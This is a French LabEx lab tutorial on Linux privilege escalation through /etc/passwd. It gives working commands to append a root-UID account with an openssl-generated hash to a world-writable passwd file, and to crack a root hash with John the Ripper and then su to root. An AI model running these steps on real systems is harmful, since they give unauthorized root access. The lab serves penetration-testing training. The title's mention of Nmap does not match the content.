Explorer l'élévation de privilèges via le fichier /etc/passwd dans Nmap

Introduction

Les fichiers /etc/passwd et /etc/shadow sont essentiels pour l'authentification des utilisateurs dans les systèmes Linux. Si les administrateurs système mal configurent le contenu ou les autorisations de ces fichiers, cela peut entraîner des vulnérabilités d'escalade de privilèges. Dans ce laboratoire (LabEx), nous explorerons des méthodes d'escalade de privilèges en exploitant le fichier /etc/passwd.

Comprendre le fichier /etc/passwd

Dans cette étape, nous explorerons la structure et la signification du fichier /etc/passwd.

Sur les systèmes Linux, les informations de mot de passe des utilisateurs sont stockées dans deux fichiers : /etc/passwd et /etc/shadow. Le fichier /etc/passwd contient des informations sur les utilisateurs, chaque ligne représentant un compte utilisateur unique. Chaque ligne est divisée en sept champs séparés par des deux-points :

Nom d'utilisateur
Mot de passe (si défini sur x, le mot de passe est stocké dans /etc/shadow)
Identifiant utilisateur (UID, 0 pour l'utilisateur root)
Identifiant de groupe (GID)
Informations utilisateur (Nom complet, Numéro de chambre, Téléphone professionnel, Téléphone personnel et Autres)
Répertoire personnel
Shell par défaut

Maintenant, ouvrez un terminal et accédez au répertoire /home/labex/project pour passer à l'étape suivante.

cd /home/labex/project

Récupérez les informations de l'utilisateur labex à partir du fichier /etc/passwd et enregistrez-les dans un fichier nommé labex_passwd.txt dans le répertoire /home/labex/project.

grep labex /etc/passwd > /home/labex/project/labex_passwd.txt

Vérifiez le contenu du fichier labex_passwd.txt.

cat labex_passwd.txt

Sortie attendue :

labex:x:5000:5000::/home/labex:/usr/bin/zsh

Voici ce que chaque champ représente :

Nom d'utilisateur : test-user
Mot de passe : stocké dans /etc/shadow (indiqué par x)
UID : 5000
GID : 5000
Informations utilisateur : Dans ce cas, c'est vide
Répertoire personnel : /home/labex
Shell par défaut : /usr/bin/zsh

Au cours du processus d'authentification Linux, les étapes suivantes se produisent :

Le nom d'utilisateur saisi est vérifié par rapport au premier champ de chaque ligne du fichier /etc/passwd.
Si une correspondance est trouvée, le mot de passe du deuxième champ est comparé.
En cas d'authentification réussie, les autorisations de l'utilisateur sont déterminées par l'UID (troisième champ) et le GID (quatrième champ).
Il est important de noter qu'un UID de 0 représente l'utilisateur root, accordant des privilèges d'administration complets, indépendamment du nom d'utilisateur.

Comme vous pouvez le voir, le fichier /etc/passwd joue un rôle crucial dans le processus d'authentification Linux. Si un attaquant peut modifier ce fichier, il peut être en mesure d'obtenir un accès non autorisé et d'escalader ses privilèges.

Escalade de privilèges via /etc/passwd (Accès en écriture)

Dans cette étape, nous apprendrons à escalader les privilèges en exploitant l'accès en écriture au fichier /etc/passwd.

Tout d'abord, configurons l'environnement de laboratoire (LabEx). Ouvrez un terminal et accédez au répertoire /home/labex/project :
```
cd /home/labex/project
```
Exécutez la commande suivante pour configurer l'environnement de laboratoire :
```
./env_setup1.sh
```
Cette commande exécutera un script qui configurera l'environnement de laboratoire. Vous devriez voir une sortie indiquant que l'environnement est prêt.
Après la configuration, vous serez connecté en tant qu'utilisateur user001, simulant un accès initial à un shell obtenu lors d'un test de pénétration.

Accédez au répertoire personnel de l'utilisateur user001 :
```
cd ~
```
Utilisez la commande whoami pour vérifier votre utilisateur actuel :
```
whoami
```
Sortie attendue :
```
user001
```
Utilisez la commande id pour afficher vos identifiants utilisateur et de groupe :
```
id
```
Sortie attendue :
```
uid=1001(user001) gid=1001(user001) groups=1001(user001)
```
Comme vous pouvez le voir, vous êtes un utilisateur régulier sans privilèges spéciaux.
Ensuite, vérifiez les autorisations des fichiers /etc/passwd et /etc/shadow :
```
ls -l /etc/passwd /etc/shadow
```
Sortie attendue :
```
--wx--xrwx 1 root root    1961 Apr  5 00:21 /etc/passwd
-rw-r----- 1 root user001 1101 Apr  5 00:21 /etc/shadow
```
Notez que le fichier /etc/passwd a des autorisations d'exécution et d'écriture pour tous les utilisateurs (--wx--xrwx), ce qui est une mauvaise configuration de la part de l'administrateur système.

Notre objectif est de créer une nouvelle entrée utilisateur dans le fichier /etc/passwd avec un nom d'utilisateur personnalisé, un mot de passe et un UID de 0 (root). Cela nous permettra de nous connecter en tant qu'utilisateur root.

Tout d'abord, examinons le format de l'entrée de l'utilisateur root dans le fichier /etc/passwd en l'extraissant dans un nouveau fichier nommé new_user_entry.txt :
```
cat /etc/passwd | grep root > new_user_entry.txt
```
Sortie attendue lorsque vous utilisez la commande cat pour afficher le contenu du fichier new_user_entry.txt :
```
root:x:0:0:root:/root:/bin/bash
```
Pour créer notre propre entrée, changez le nom d'utilisateur de root en un nom souhaité, par exemple new-user dans le fichier new_user_entry.txt :
```
new-user:x:0:0:root:/root:/bin/bash
```
Remplacez le x dans le deuxième champ par le hachage du mot de passe chiffré. Nous pouvons utiliser l'outil openssl pour générer le hachage pour un mot de passe (par exemple, pass123) :
```
openssl passwd -1 -salt ignite pass123
```
Sortie attendue :
```
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1
```
En remplaçant le hachage dans le deuxième champ du fichier new_user_entry.txt :
```
new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
```
Maintenant, ajoutez cette ligne au fichier /etc/passwd :
```
echo "$(cat new_user_entry.txt)" >> /etc/passwd
```
Note : Nous pouvons ajouter la nouvelle entrée au fichier /etc/passwd car il a des autorisations d'écriture pour tous les utilisateurs. Dans un scénario réel, ce fichier ne devrait pas avoir d'autorisations d'écriture pour les utilisateurs réguliers.

Vérifiez la nouvelle entrée en recherchant new-user dans le fichier /etc/passwd :

cat /etc/passwd | grep new-user

Sortie attendue :

new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash

Enfin, basculez vers l'utilisateur new-user avec le mot de passe pass123 :
```
su new-user
```
Entrez le mot de passe pass123 lorsque vous y êtes invité. Vous devriez maintenant avoir des privilèges root, comme l'indique le changement dans l'invite de commande :
```
user001@660ecfa4d7612c798ef141ab:~$ su new-user
Password:
root@660ecfa4d7612c798ef141ab:/home/user001#
```

Escalade de privilèges via /etc/passwd (Mot de passe haché)

Dans cette étape, nous apprendrons à escalader les privilèges lorsque le hachage du mot de passe de l'utilisateur root est stocké dans le fichier /etc/passwd au lieu du fichier /etc/shadow.

Tout d'abord, configurons l'environnement de laboratoire (LabEx). Ouvrez un terminal et accédez au répertoire /home/labex/project :

Si vous êtes toujours connecté en tant que new-user, vous pouvez utiliser la commande exit pour quitter le shell actuel jusqu'à revenir au shell labex, puis accédez au répertoire /home/labex/project :
```
cd /home/labex/project
```
Exécutez la commande suivante pour configurer l'environnement de laboratoire :
```
./env_setup2.sh
```
Cette commande exécutera un script qui configurera l'environnement de laboratoire. Vous devriez voir une sortie indiquant que l'environnement est prêt.
Après la configuration, vous serez connecté en tant qu'utilisateur user001, simulant un accès initial à un shell obtenu lors d'un test de pénétration.

Accédez au répertoire personnel de l'utilisateur user001 :
```
cd ~
```
Vérifiez les autorisations des fichiers /etc/passwd et /etc/shadow :
```
ls -l /etc/passwd /etc/shadow
```
```
-rw-r--r-- 1 root root 2059 Apr  5 01:36 /etc/passwd
-rw-r----- 1 root root 1101 Apr  5 00:21 /etc/shadow
```
Cette fois, les autorisations des fichiers sont correctement configurées, et vous n'avez que des droits de lecture sur le fichier /etc/passwd.
Affichez le contenu du fichier /etc/passwd pour trouver le hachage du mot de passe de l'utilisateur root :
```
cat /etc/passwd | grep ^root > ~/hash.txt
```
Vérifiez le contenu du fichier hash.txt en exécutant la commande suivante :
```
cat ~/hash.txt
```
Sortie attendue :
```
root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash
```
Notez que le hachage du mot de passe de l'utilisateur root est stocké dans le deuxième champ du fichier /etc/passwd. Cela est généralement le résultat d'une compromission antérieure du système ou d'une mauvaise configuration de la part de l'administrateur système.
Maintenant, exécutez john pour casser le hachage :
```
john ~/hash.txt > ~/cracked.txt
```
john est un outil de cassage de mots de passe populaire qui utilise des attaques par dictionnaire pour casser les hachages de mots de passe. La sortie indiquera si le mot de passe a été cassé avec succès.
```
Created directory: /home/user001/.john
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 100% 2/3 5.000g/s 6680p/s 6680c/s 6680C/s 123456..crawford
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```
Vérifiez le contenu du fichier cracked.txt pour afficher le mot de passe cassé :
```
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
hello            (root)
```
Comme vous pouvez le voir, john a réussi à casser le mot de passe, qui est hello.
Utilisez la commande su pour basculer vers l'utilisateur root, en entrant le mot de passe cassé lorsque vous y êtes invité :
```
su root
```
Entrez le mot de passe hello lorsque vous y êtes invité. Vous devriez maintenant avoir des privilèges root, comme l'indique le changement dans l'invite de commande.
```
user001@660ecfa4d7612c798ef141ab:~$ su root
Password:
root@660ecfa4d7612c798ef141ab:/home/user001#
```

Résumé

Dans ce laboratoire (LabEx), nous avons appris le processus d'authentification des utilisateurs Linux, l'importance du fichier /etc/passwd et comment l'exploiter pour escalader les privilèges. Nous avons abordé deux scénarios : (1) lorsque le fichier /etc/passwd a des autorisations d'écriture, nous permettant de créer une nouvelle entrée utilisateur avec des privilèges root, et (2) lorsque le hachage du mot de passe de l'utilisateur root est stocké dans le fichier /etc/passwd, nous permettant de casser le mot de passe à l'aide de l'outil john. Grâce à des pratiques pratiques, nous avons acquis une compréhension plus approfondie de la manière d'exploiter les mauvaises configurations du fichier /etc/passwd pour escalader les privilèges sur un système Linux.